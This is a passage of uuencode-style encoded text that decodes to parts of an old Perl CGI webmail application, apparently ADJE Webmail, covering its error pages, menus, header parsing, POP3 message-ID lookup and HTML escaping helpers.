)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
K04-+?2!S:7IE/30^/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX\+V9O;G0^"@``
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
(/"]F;W)M/@H`
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)&5R<FUS9SPO<W1R;VYG
./CPO9F]N=#X\+W1D/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
(/"]F;W)M/@H`
$/'`^"@``
(2$52141/0PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")#3U!94DE'2%1/
/3DQ9(BQ<)4,L7"5,*3L*
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
)97AI="@P*3L*
"?0H`
5;W!E;BA)1D@L(CPD9FYA;64B*3L*
38VAO;7`H)%\@/2`\249(/BD["@``
,8VQO<V4H249(*3L*
C*"1%3E9[4D5-3U1%7T%$1%)](&YE("1?*2`F)B!E>&ET.PH`
1;7D@)'1I;64@/2!T:6UE.PH`
G*"1F;F%M92`]?B`O7B@N*RDD+RD@)B8@*"1F;F%M92`]("0Q*3L*
J*"UE("1F;F%M92D@)B8@=71I;64H)'1I;64L)'1I;64L)&9N86UE*3L*
7?2`C(&5N9"!O9B!C:&5C:U]L;V=I;@H`
4<W5B(&=E=%]M<V=?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
-;7D@*$!F:6QE<RD["@``
99F]R96%C:"`D9FQD("A`9FEE;&1S*2!["@``
::68@*"`D9FQD("%^("]>5D%27"\O("D@>PH`
D*"1D97-C+"1F;F%M92D@/2!S<&QI="@O.B\L)&9L9"PR*3L*
5<'5S:"A`9FEL97,L)&9N86UE*3L*
"?0H`
"?0H`
/<F5T=7)N($!F:6QE<SL*
"?0H`
1<W5B(&=E=%]M<V=P;W,@>PH`
8;7D@*"1M<V=N;RQ`<F5C<RD@/2!`7SL*
.;7D@)&US9W!O<STQ.PH`
);7D@)&D],#L*
L=VAI;&4@*"`H)&D@/"`D;7-G;F\I("8F("@D:2`\/2`D(W)E8W,I("D@>PH`
M*"1R96-S6R1I72`A?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1M
*<V=P;W,K*RD["@``
&)&DK*SL*
"?0H`
0<F5T=7)N("1M<V=P;W,["@``
"?0H`
1<W5B(&=E=%]M<V=T;W0@>PH`
3;7D@*"1M<V=R968I(#T@0%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
-;7D@)'1O="`](#`["@``
*;&]C86P@)%\["@``
.9F]R("A`;7-G<RD@>PH`
H*"$O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1T;W0K*RD["@``
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
9<W5B(&=E=%]M97-S86=E7W-T871E<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
E)'9A;"`]("9G971?9FEE;&0H7"1?+%PG5D%2+U-4051%)RD["@``
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
9<W5B(&=E=%]M97-S86=E7V9N86UE<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
C)'9A;"`]("9G971?9FEE;&0H7"1?+%PG04Q,+T%,3"<I.PH`
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
.<W5B(')E8W9A<G,@>PH`
2;7D@)6AE861E<G,@/2!`7SL*
J;7D@)')E8R`@/2`B5D%2+TE$.B1H96%D97)S>TU%4U-!1T5)1'U\(CL*
=)')E8R`N/2`B5D%2+U-4051%.E5.4D5!1'PB.PH`
J)')E8R`N/2`B5D%2+U-50DI%0U0Z)&AE861E<G-[4U5"2D5#5'U\(CL*
L)')E8R`N/2`B5D%2+T923TU.04U%.B1H96%D97)S>T923TU.04U%?7PB.PH`
M)')E8R`N/2`B5D%2+T923TU#3TU-14Y4.B1H96%D97)S>T923TU#3TU-14Y4
%?7PB.PH`
J)')E8R`N/2`B5D%2+T923TU!1$0Z)&AE861E<G-[1E)/34%$1'U\(CL*
J)')E8R`N/2`B5D%2+U)43TY!344Z)&AE861E<G-[4E1/3D%-17U\(CL*
H)')E8R`N/2`B5D%2+U)43T%$1#HD:&5A9&5R<WM25$]!1$1]?"(["@``
M)')E8R`N/2`B5D%2+U)43T-/34U%3E0Z)&AE861E<G-[4E1/0T]-345.5'U\
#(CL*
D)')E8R`N/2`B5D%2+T1!5$4Z)&AE861E<G-[1$%417U\(CL*
F)')E8R`N/2`B5D%2+T1!64U/.B1H96%D97)S>T1!64U/?7PB.PH`
M)')E8R`N/2`B5D%2+TU%4U-!1T5325I%.B1H96%D97)S>TU%4U-!1T5325I%
%?7PB.PH`
"?0H`
3<W5B(&1A=&5?-%]I;F)O>"!["@``
1;7D@*"1D871E*2`]($!?.PH`
2;7D@*"1D87DL)&UO;G1H*3L*
M*"1D871E(#U^("\H7&1<9#\I("LH6T$M6F$M>ETK*2\I("8F("@D9&%Y(#T@
4)#$I("8F("@D;6]N=&@])#(I.PH`
H*&QE;F=T:"@D9&%Y*2`\(#(I("8F("@D9&%Y(#T@(C`D9&%Y(BD["@``
;)&1A=&4@/2`B)'MM;VYT:'U?)'MD87E](CL*
"?0H`
4<W5B(&9R965?9FEL96YA;64@>PH`
2;7D@*"1F;F%M92D@/2!`7SL*
);7D@)&D],3L*
6=VAI;&4@*"`M92`D9FYA;64@*2!["@``
6)&9N86UE(#U^(',O7&0J)"\D:2\["@``
&*RLD:3L*
"?0H`
/<F5T=7)N("1F;F%M93L*
"?0H`
5<W5B(')E;&%T:79E7VUS9VYO('L*
K;7D@*"1M<V=N;RPD<F5L871I=F5?<&]S:71I;VXL0')E8W,I(#T@0%\["@``
7;7D@)&US9VYO7VEN(#T@)&US9VYO.PH`
D:68@*"`H)"-R96-S(#P@,"D@?'P@*"1M<V=N;R`\(#`I("D*
3>R!R971U<FX@+3$P,#`P.R!]"@``
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B3D585"(I('L*
*)&US9VYO*RL["@``
M=VAI;&4@*"@D;7-G;F\@/#T@)"-R96-S*2`F)B`H)')E8W-;)&US9VYO72`]
>?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RDI('L*
*)&US9VYO*RL["@``
"?0H`
8:68@*"1M<V=N;R`\/2`D(W)E8W,I('L*
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B4%)%5B(I('L*
*)&US9VYO+2T["@``
M=VAI;&4@*"@D;7-G;F\@/CT@,"D@)B8@*"1R96-S6R1M<V=N;UT@/7X@+UQ\
95D%27"]35$%413I$14Q%5$5<?"\I*2!["@``
*)&US9VYO+2T["@``
"?0H`
3:68@*"1M<V=N;R`^/2`P*2!["@``
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
3<F5T=7)N("1R=&Y?;7-G;F\["@``
"?0H`
8<W5B('!R:6YT7V)A8VM?97)R;7-G('L*
H;7D@*"1L86YG+"1C;VQO<G,L)'1I=&QE+"1E<G)M<V<I(#T@0%\["@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@;&EN:STD0WM,24Y+?2!A;&EN
=:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
J/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
8/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
)/&-E;G1E<CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
//&(^)&5R<FUS9SPO8CX*
(/"]F;VYT/@H`
$/'`^"@``
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
*/"]C96YT97(^"@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
"?0H`
3<W5B('!R:6YT7V5R<FUS9R!["@``
C;7D@*"1L86YG+"1C;VQO<G,L)&-O<'EO;FQY*2`]($!?.PH`
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
K/'1I=&QE/B1,>R=796)M86EL($5R<F]R($UE<W-A9V4G?3PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
K/'-T<F]N9SXD3'LG17)R;W(Z($QO9VEN($9A:6QE9"=]/"]S=')O;F<^"@``
(/"]F;VYT/@H`
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)VQO9VEN97)R;7-G
8)WT\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
'/&9O<FT^"@``
)/"]T86)L93X*
(2$52141/0PH`
C;7D@)'1M<"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
G?2`C(&5N9"!O9B!P<FEN=%]E<G)M<V<@<W5B<F]U;G1I;F4N+BX*
5<W5B('!R:6YT7W1O<%]M96YU('L*
M;7D@*"1T:71L92PD=7-E<E]D:7)N86UE+"1L86YG+"1C;VQO<G,I(#T@0%\[
!"@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
L*&UY("1U<V5R;F%M92`]("1U<V5R7V1I<FYA;64I(#U^(',O+BI<+R\O.PH`
M;7D@)&EN/2(\;W!T:6]N('9A;'5E/5PB<&]P;7-G<UPB/B1,>R=);F-O;6EN
/9R!-97-S86=E<R=](CL*
M;7D@)&]U=#TB/&]P=&EO;B!V86QU93U<(G-E;G1M<V=S7"(^)$Q[)U-A=F5D
7($]U=&=O:6YG($UE<W-A9V5S)WTB.PH`
M:68@*"UF("(D=7-E<E]D:7)N86UE+T%$2D5314Y41D],1$5204-4259%+G1X
&="(I('L*
7)&QI;F4Q(#T@(B1O=70D=&ET;&4B.PH`
.)&QI;F4R(#T@)&EN.PH`
)?2!E;'-E('L*
6)&QI;F4Q(#T@(B1I;B1T:71L92(["@``
/)&QI;F4R(#T@)&]U=#L*
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
:9G5N8W1I;VX@8VAA;F=E9F]L9&5R*"D@>PH`
M=F%R(&EN9&5X/61O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YS96QE8W1E
'9$EN9&5X"@``
M=F%R('9A;"`](&1O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YO<'1I;VYS
.6VEN9&5X72YV86QU90H`
B9&]C=6UE;G0N;6%I;&)O>"Y&3TQ$15(N=F%L=64]=F%L"@``
:9&]C=6UE;G0N;6%I;&)O>"YS=6)M:70H*0H`
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
M/&9O<FT@;F%M93TB;6%I;&)O>"(@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN
*8F]X+F-G:2(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB1D],1$52(B!V86QU93TB;F]C
(:&%N9V4B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=#;VUP;W-E)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("`@=F%L=64]
/(DYE=R!-97-S86=E(CX*
&/"]T9#X*
(/"]F;W)M/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F5D:71A9&1B;V]K+F-G:2(^
!"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=!9&1R97-S97,G?2(^
!"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
;/&9O<FT@;F%M93TB9F]L9&5R<V5L96-T(CX*
M/'1D('=I9'1H/2(Y-24B(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB
)8V5N=&5R(CX*
M/'-E;&5C="!N86UE/2)T;V)O>"(@;VYC:&%N9V4](F-H86YG969O;&1E<B@I
#(CX*
')&QI;F4Q"@``
')&QI;F4R"@``
*/"]S96QE8W0^"@``
&/"]T9#X*
(/"]F;W)M/@H`
I/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FQO9V]U="YC9VDB/@H`
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=,;V<@3W5T)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
4<W5B('5N97-C87!E7VAT;6P@>PH`
6;7DH)'1O=6YE;F-O9&4I(#T@0%\["@``
:)'1O=6YE;F-O9&4]?G,O)F%M<#LO)B]G.PH`
<)'1O=6YE;F-O9&4]?G,O)G%U;W0[+UPB+V<["@``
9)'1O=6YE;F-O9&4]?G,O)F=T.R\^+V<["@``
9)'1O=6YE;F-O9&4]?G,O)FQT.R\\+V<["@``
4<F5T=7)N("1T;W5N96YC;V1E.PH`
"?0H`
2<W5B(&5S8V%P95]H=&UL('L*
4;7DH)'1O96YC;V1E*2`]($!?.PH`
?(61E9FEN960H)'1O96YC;V1E*2`F)B!R971U<FX["@``
8)'1O96YC;V1E/7YS+R8O)F%M<#LO9SL*
:)'1O96YC;V1E/7YS+UPB+R9Q=6]T.R]G.PH`
7)'1O96YC;V1E/7YS+SXO)F=T.R]G.PH`
7)'1O96YC;V1E/7YS+SPO)FQT.R]G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
3<W5B('5N97-C87!E7W5R;"!["@``
4;7DH)'1O9&5C;V1E*2`]($!?.PH`
6)'1O9&5C;V1E(#U^('1R+RLO("\["@``
M)'1O9&5C;V1E(#U^(',O)2A;,"TY82UF02U&77LR?2DO<&%C:R@B8R(L:&5X
**"0Q*2DO9V4["@``
2<F5T=7)N("1T;V1E8V]D93L*
"?0H`
1<W5B(&5S8V%P95]U<FP@>PH`
4;7DH)'1O96YC;V1E*2`]($!?.PH`
<(21T;V5N8V]D92`F)B!R971U<FX@=6YD968["@``
M)'1O96YC;V1E/7YS+RA;7F$M>D$M6C`M.5]<+2Y=*2]U8R!S<')I;G1F*"(E
4)24P,G@B+&]R9"@D,2DI+V5G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
2<W5B(&=E=%]H96%D97)S('L*
5;7D@*$!H96%D;&EN97,I/2!`7SL*
<;7D@)&AE860@/2!-24U%.CI(96%D+3YN97<["@``
=)&AE860M/F5X=')A8W0H7$!H96%D;&EN97,I.PH`
/)&AE860M/G5N9F]L9#L*
/)&AE860M/F1E8V]D93L*
C;7D@)&1A=&4@("`@/2`D:&5A9"T^9V5T*"=$871E.B<I.PH`
A;7D@)&-C("`@("`@/2`D:&5A9"T^9V5T*"=#8SHG*3L*
F;7D@)'-U8FIE8W0@/2`D:&5A9"T^9V5T*"=3=6)J96-T.B<I.PH`
A;7D@)'1O("`@("`@/2`D:&5A9"T^9V5T*"=4;SHG*3L*
C;7D@)&9R;VT@("`@/2`D:&5A9"T^9V5T*"=&<F]M.B<I.PH`
G;7D@)')E<&QY=&\@/2`D:&5A9"T^9V5T*"=297!L>2U4;SHG*3L*
6(21D871E("8F("@D9&%T93TG)RD["@``
2(21C8R`F)B`H)&-C/2<G*3L*
<(21S=6)J96-T("8F("@D<W5B:F5C=#TG)RD["@``
2(21T;R`F)B`H)'1O/2<G*3L*
6(21F<F]M("8F("@D9G)O;3TG)RD["@``
<(21R97!L>71O("8F("@D<F5P;'ET;STG)RD["@``
0;7D@)6AE861E<G,@/2`H"@``
74U5"2D5#5"`@(#T^("1S=6)J96-T+`H`
25$\@("`@("`@(#T^("1T;RP*
41E)/32`@("`@(#T^("1F<F]M+`H`
74D503%E43R`@(#T^("1R97!L>71O+`H`
20T,@("`@("`@(#T^("1C8RP*
41$%412`@("`@(#T^("1D871E+`H`
#*3L*
@9F]R96%C:"`D:V5Y("AK97ES*"5H96%D97)S*2D@>PH`
B(61E9FEN960H)&AE861E<G-[)&ME>7TI("8F(&YE>'0["@``
;)&AE861E<G-[)&ME>7T@/7X@<R]>("LO+SL*
=)&AE861E<G-[)&ME>7T@/7X@<R]<<C]<;B\O.PH`
;)&AE861E<G-[)&ME>7T@/7X@<R\@*R0O+SL*
"?0H`
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
.861E<G-[1E)/37TI.PH`
>)&AE861E<G-[1E)/34%$1'T@("`@(#T@)&%D9#L*
?)&AE861E<G-[1E)/34Y!345]("`@(#T@)&YA;64["@``
?)&AE861E<G-[1E)/34-/34U%3E1](#T@)&-O;6T["@``
A*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
1861E<G-[4D503%E43WTI.PH`
=)&AE861E<G-[4E1/041$?2`@("`@/2`D861D.PH`
>)&AE861E<G-[4E1/3D%-17T@("`@/2`D;F%M93L*
>)&AE861E<G-[4E1/0T]-345.5'T@/2`D8V]M;3L*
M)&AE861E<G-[1$%934]]("`@("`@(#T@)F1A=&5?-%]I;F)O>"@D:&5A9&5R
*<WM$051%?2D["@``
1<F5T=7)N("5H96%D97)S.PH`
B?2`C(&5N9"!S=6)R;W5T:6YE(&=E=%]H96%D97)S+BXN"@``
9<W5B('!R:6YT7V)O='1O;5]L:6YK<R!["@``
M;7D@*"1U<V5R7V1I<FYA;64L)&-O<'EO;FQY+"1C;VQO<G,L)&QA;F<I(#T@
$0%\["@``
0;7D@)4,])21C;VQO<G,["@``
.;7D@)4P])21L86YG.PH`
3;7D@)5`])F=E=%]P87)A;7,["@``
M<')I;G0@(CQF;VYT(&9A8V4]7")A<FEA;"QH96QV971I8V%<(B!C;VQO<CTD
30WM415A47T),04-+?3Y<;B(["@``
4:68@*"9I<U]L:6-E;G-E9"D@>PH`
0<')I;G0\/$A%4D5$3T,["@``
./&9O;G0@<VEZ93TQ/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P(#QA(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/D%$
M2D4L($Q,0SPO83XN($%L;"!2:6=H=',@4F5S97)V960N(#QB/D1)4T-,04E-
M15(Z/"]B/B!5<V4@=&AI<R!S;V9T=V%R92!A;F0@=&AE(&%S<V]C:6%T960@
<=V5B('!A9V5S(&%T('EO=7(@;W=N(')I<VLN"@``
(/"]F;VYT/@H`
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
(/'-M86QL/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P($%$2D4L($Q,0R`H5&AE($5D9V4I+B!!;&P@4FEG:'1S(%)E
M<V5R=F5D+B`\8CY$25-#3$%)3452.CPO8CX@57-E('1H:7,@<V]F='=A<F4@
M86YD('1H92!A<W-O8VEA=&5D('=E8B!P86=E<R!A="!Y;W5R(&]W;B!R:7-K
M+B`@66]U(&UA>2!D;W=N;&]A9"!T:&4@<&5R;"!C9VD@<V-R:7!T<R!T:&%T
0(&=E;F5R871E('1H97-E"@``
M<&%G97,@/&(^1E)%13PO8CX@9G)O;2!O=7(@:&]M92!P86=E(&%T(#QB/CQA
M(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/FAT='`Z+R]W=W<N861J
197=E8BYC;VT\+V$^/"]B/@H`
)/"]S;6%L;#X*
(/"]F;VYT/@H`
(2$52141/0PH`
"?0H`
"?0H`
0<W5B(')M7VUS9V1I<B!["@``
0;7D@*"1D:7(I(#T@0%\["@``
*;&]C86P@)%\["@``
.;7D@)&9P871H/2<G.PH`
4;W!E;F1I<B@D9&ER+"1D:7(I.PH`
C=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*"1D:7(I*2D@>PH`
5+R@N*BDO("8F("@D7R`]("0Q*3L*
1+UY<+BLD+R`F)B!N97AT.PH`
4)&9P871H(#T@(B1D:7(O)%\B.PH`
1:68@*"UD("1F<&%T:"D@>PH`
4)G)M7VUS9V1I<B@D9G!A=&@I.PH`
)?2!E;'-E('L*
/=6YL:6YK("1F<&%T:#L*
"?0H`
"?0H`
7+60@)&1I<B`F)B!R;61I<B`D9&ER.PH`
(<F5T=7)N.PH`
"?0H`
3<W5B(&=E=%]O=7)?=6ED;"!["@``
C;7D@*"1M<V=N;RPD;7-G<VEZ92PD<V]C:V5T*2`]($!?.PH`
*;&]C86P@)%\["@``
M;7D@*"1F<F]M+"1D871E+"1S=6)J96-T+"1M97-S86=E:60L)'5I9&PI(#T@
2*"<G+"<G+"<G+"<G+"<G*3L*
D<V5N9"@D<V]C:V5T+")43U`@)&US9VYO(#!<<EQN(BPP*3L*
.)%\]/"1S;V-K970^.PH`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<<C]<;B0O
%("D@>PH`
5:68@*"`O7D9R;VTZ("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&9R;VT@/2`D7SL*
"?0H`
5:68@*"`O7D1A=&4Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&1A=&4@/2`D7SL*
"?0H`
8:68@*"`O7E-U8FIE8W0Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
<)'-U8FIE8W0@/2!S=6)S='(H)%\L,"PS,BD["@``
"?0H`
;:68@*"`O7FUE<W-A9V4M:60Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
1)&UE<W-A9V5I9"`]("1?.PH`
"?0H`
"?0H`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<+EQR/UQN
()"\@*2![?0H`
,)'5I9&P@/2`G)SL*
2:68@*"1M97-S86=E:60I('L*
F)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1M97-S86=E:60I.PH`
)?2!E;'-E('L*
M)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"(D9G)O;21D871E)'-U8FIE8W0D
+;7-G<VEZ92(I.PH`
"?0H`
"?0H`
/<W5B(')E861S;V-K('L*
3;7D@*"1S;V-K970I(#T@0%\["@``
/;7D@)&1A=&$@/2`G)SL*
.;7D@)&)U9B`]("<G.PH`
8=VAI;&4@*"1B=68@(7X@+UQN)"\I('L*
0)&)U9CT\)'-O8VME=#X["@``
/)&1A=&$@+CT@)&)U9CL*
"?0H`
.<F5T=7)N("1D871A.PH`
"?0H`
:<W5B('!A<G-E7V5M86EL7V%D9')E<W,@>PH`
*;&]C86P@)%\["@``
9;7D@*"1F=6QL7V%D9')E<W,I(#T@0%\["@``
M;7D@*$!A9&1R<RD@/2!-86EL.CI!9&1R97-S+3YP87)S92@D9G5L;%]A9&1R
&97-S*3L*
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
.:68@*$!A9&1R<RD@>PH`
